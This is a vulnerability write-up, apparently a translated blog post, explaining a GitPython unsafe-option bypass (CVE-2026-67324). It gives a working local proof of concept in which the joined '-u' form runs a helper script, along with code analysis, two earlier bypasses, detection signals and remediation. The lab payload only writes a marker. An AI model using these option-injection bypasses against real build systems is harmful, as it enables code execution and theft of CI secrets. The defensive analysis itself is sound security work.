GitPython ships a guard against dangerous git options. If your code builds a clone command out of anything that arrived from outside, the library will not let --upload-pack or --config through by default, because both of them execute an arbitrary command. The guard is on out of the box and turns off only with an explicit allow_unsafe_options=True.
I handed it --upload-pack=/srv/lab/helper.sh. It refused. I handed it the same thing written differently, -u/srv/lab/helper.sh, and it let it through. The script ran.
This is CVE-2026-67324, published on 1 August 2026, scored 9.8 on CVSS 3.1 and 9.3 on CVSS 4.0. Those numbers still come from the CNA that filed it: NVD has not run its own analysis yet, the record sits in status Received, so the score may move. Version 3.1.50 is vulnerable, 3.1.51 is fixed.
Below, step by step: the lab, both attempts with real output, the code of the check and why it missed, and what the attack looks like from the outside. Plus the part I find more interesting than the hole itself. This is the third bypass of the same barrier within one year, and all three share a root cause.
Why this deserves your attention
Almost nobody installs GitPython on purpose. It gets 254 million downloads a month from PyPI against five thousand stars on GitHub, and a two-order gap like that means one thing: it arrives as a passenger. With MLflow, with DVC, with bandit, with semgrep, with half the homegrown scripts that touch repositories in CI.
Let me draw the boundary right away, so nobody panics for nothing. Having it installed is harmless on its own. The hole fires only when two conditions hold at the same time:
- your code calls
Repo.clone_from(..., multi_options=[...]), - something an outsider influences ends up inside
multi_options.
The second one happens more often than it sounds. A repository URL from a web form, build parameters from a config another team edits, a field in a CI job, arguments from a webhook. And if you are leaning on allow_unsafe_options=False as your protection in that situation, you are leaning on nothing.
The lab
Nothing heavy is needed here, no Docker, no separate machine. A virtual environment is enough. I am on Python 3.13.5 and git 2.47.3.
The local repository I will be cloning:
mkdir -p src && cd src
git init -q -b main .
echo "hello" > file.txt
git add -A && git commit -q -m init
helper.sh plays the malicious payload. It writes a marker and then hands control to the real git-upload-pack, so the clone does not break before the result is visible. That makes the point clearer: the attack lands, and the operation still looks successful.
#!/bin/sh
echo "GITPYTHON_UNSAFE_OPTION_BYPASS $(id -un)@$(hostname) $(date -u +%FT%TZ)" > /tmp/pwned.txt
exec git-upload-pack "$@"
And the script that runs both spellings of the same option. Note allow_unsafe_options=False: I am explicitly asking the library not to let anything dangerous through.
from git import Repo
for opt in ("--upload-pack=" + LAB + "/helper.sh",
"-u" + LAB + "/helper.sh"):
Repo.clone_from(LAB + "/src", dst,
multi_options=[opt],
allow_unsafe_options=False)
The attack
I install the vulnerable version and run it.
############ VULNERABLE VERSION 3.1.50 ############
GitPython: 3.1.50
--- separated form: --upload-pack=... ---
refused: UnsafeOptionError --upload-pack is not allowed, use `allow_unsafe_options=True` to allow it.
helper did NOT run, the gate held
--- JOINED short form: -u... ---
clone completed
!!! HELPER EXECUTED, marker contents:
GITPYTHON_UNSAFE_OPTION_BYPASS builder@ci-runner 2026-08-02T11:17:08Z
The first form is blocked, and the message is honest about it. The second went straight through. The marker holds a username, a hostname and a timestamp: the command ran with the privileges of whatever process was doing the clone. In CI that usually means access to the build environment variables, and that is where the tokens live.
Worth calling out separately: the clone finished successfully. No error, nothing suspicious. If instead of writing a marker I had quietly shipped the contents of ~/.ssh somewhere, the build log would hold nothing at all.
Why the check missed
I open the code. The check lives in check_unsafe_options and leans on a function that reduces an option name to a canonical form:
option_name = option.lstrip("-").split("=", 1)[0]
option_tokens = option_name.split(None, 1)
return dashify(option_tokens[0])
The logic reads: strip leading dashes, cut off the value after the equals sign, take the first word. For --upload-pack=/srv/lab/helper.sh you get upload-pack, which matches an entry in the deny list. That works.
Now the same thing for -u/srv/lab/helper.sh. The dash is stripped, leaving u/srv/lab/helper.sh. There is no equals sign, so nothing to cut. There is no space, so the first word is the whole string. Out comes u/srv/lab/helper.sh.
The deny list holds u. The strings do not match. The option is considered safe.
The check itself in 3.1.50 is six lines and reads beautifully:
canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
for option in options:
unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
if unsafe_option is not None:
raise UnsafeOptionError(...)
A dictionary of canonical names, a lookup by key. Pretty much what almost anyone would write.
The problem is the assumption baked in here: that an option is a name, optionally followed by a value after an equals sign. Git's syntax is richer than that. A short flag can carry its value joined to it. A long option can be shortened to any unambiguous prefix. Short flags can be clustered together. The check knows none of this. Git knows all of it.
The fix in 3.1.51
The surprising part first. The GitPython maintainers did not touch the canonicalization function at all: in 3.1.50 and 3.1.51 it matches byte for byte, thirteen lines in both versions. So they reached the same conclusion, that the normalizer was not the problem.
Instead they rewrote the check around it. It grew from sixteen lines to sixty one. Its own docstring reads like a confession, so here it is in full, quoted from the 3.1.51 source:
In addition to exact matches, this rejects abbreviated long options accepted
by Git (for example,--uplfor--upload-pack) and unsafe short options
whose values are joined to the same token, including after clusterable flags
(for example,-uVALUEand-fuVALUE).
So what gets caught now: abbreviated long forms, joined values on short options, and joined values after a cluster of flags. At the same time, safe joined values like -oupstream and -bcurrent have to keep working, otherwise ordinary code breaks. And two cases are handled separately, a list of already normalized keyword arguments and raw command line input, because they need to be checked differently.
Six lines turned into a parser for the grammar of git options. Not because the author enjoys complexity, but because that is what the task was from the very beginning.
I verify the fix on the same lab, with the same command, changing nothing but the library version:
############ FIXED VERSION 3.1.51 ############
GitPython: 3.1.51
--- separated form: --upload-pack=... ---
refused: UnsafeOptionError --upload-pack is not allowed
helper did NOT run, the gate held
--- JOINED short form: -u... ---
refused: UnsafeOptionError -u is not allowed
helper did NOT run, the gate held
Both forms rejected. The hole is closed.
What it looks like from the outside
Above I said the build log holds nothing. That is true for the application log, but not for the system. Processes are where you look.
I rewrote the helper so that it records its own ancestry the moment it starts. This is exactly what any telemetry agent watching the process tree would see. Paths below are shortened for readability, everything else is as it came out:
me: pid=836478 user=builder
ancestry:
836478 /bin/sh /srv/lab/helper.sh /srv/lab/src/.git
836477 /bin/sh -c /srv/lab/helper.sh '/srv/lab/src/.git' ...
836476 git clone -v -u/srv/lab/helper.sh -- /srv/lab/src /srv/lab/out
836473 python -
That is the whole detection. In a normal clone, git spawns git-upload-pack directly. Here /bin/sh shows up in between, because the option value is handed to a shell. Git spawning a shell is an anomaly, and it is visible without parsing any content.
Two signals worth wiring up on your side:
First, by process tree: git among the ancestors and sh or bash among the descendants, with no hook present in the repository. Both auditd and any agent watching execve will catch it.
Second, by command line: the option itself is right there in the git invocation.
git clone -v -u/srv/lab/helper.sh -- /srv/lab/src /srv/lab/out
So -u or --upload-pack in git's arguments on a build agent is worth investigating, regardless of the library version. The second signal is cruder, but it will survive the next bypass of the same barrier, and there will be one.
This is not one hole, this is the third pass
The interesting part starts when you look at the history of this barrier.
In December 2022, CVE-2022-24439 landed: a malicious URL that made it into a clone command executed arbitrary code. The entire dangerous-options mechanism exists because of it. That is the starting point, not a bypass.
Then, within the single year of 2026, that mechanism was bypassed three times.
On 7 May, CVE-2026-42284. The _clone() method validated multi_options as the original list, but executed shlex.split(" ".join(multi_options)). So the string "--branch main --config core.hooksPath=/x" passed validation as one list element, and fell apart into two options at execution time, the second of which was on the deny list.
The same day, CVE-2026-42215. The check knew about dashes, but Python keyword arguments arrive with underscores. upload_pack turned into upload-pack after the check had already run.
And on 1 August, the one taken apart above.
Three different bypasses, one root. The check looks at how the option is written. Git looks at what it turns into. Normalization sits between those two moments, and every time someone found a new way to walk through it: joining a list into a string, an underscore instead of a dash, a value glued to a short flag.
This is broader than GitPython. The exact same mistake lives in any filter that inspects a string before the real consumer parses it. Path deny lists that do not know about %2e%2e and symlinks. Header filters that do not know about case and repetition. Filename validation that runs before the operating system collapses slashes. If the validator and the executor parse input by different rules, the difference between them is the vulnerability.
Check yourself
Version:
pip show GitPython | grep -i Version
The target is 3.1.51 or newer. Earlier releases are vulnerable to other bypasses of the same barrier, so intermediate versions are pointless.
Now find your own call sites, because it is not the installation that is dangerous, it is the usage:
grep -rn "clone_from" --include=*.py . | grep -i multi_options
If something turns up, answer one question for yourself: can the contents of multi_options depend on whoever is sending data from outside. If yes, upgrading is mandatory, and upgrading alone is not enough.
What is worth doing beyond the upgrade:
Do not assemble options out of user input at all. If a choice is needed, keep a list of allowed values on your side and substitute them yourself, instead of passing someone else's string through a filter.
Give repository operations their own user. Cloning should not run under the same process that holds your production tokens.
Watch outbound connections and unexpected child processes on your build agent. That is the signal that will outlive the next hole of this class, and there will be one.
Takeaway
The hole here is not in a regular expression and not in a list of forbidden options. The hole is in the assumption that you can validate a string without parsing it the same way the thing that executes it will.
As long as validation and execution read input by different rules, bypasses will keep being found. Not because the authors are careless, but because the grammar of the input is richer than it looks to whoever is writing the filter. Three bypasses in a year in one small library is not a statement about code quality, it is a statement about the chosen approach.
It is safer not to filter someone else's input, but to keep it away from the place where it becomes a command.
Sources
- GitPython maintainers' advisory: GHSA-v396-v7q4-x2qj
- NVD record: CVE-2026-67324
- VulnCheck write-up: gitpython-authentication-bypass-via-joined-short-options
The lab this all ran on builds from a single script, and every command is reproduced in full above.
Originally published in Russian on Habr.
Top comments (0)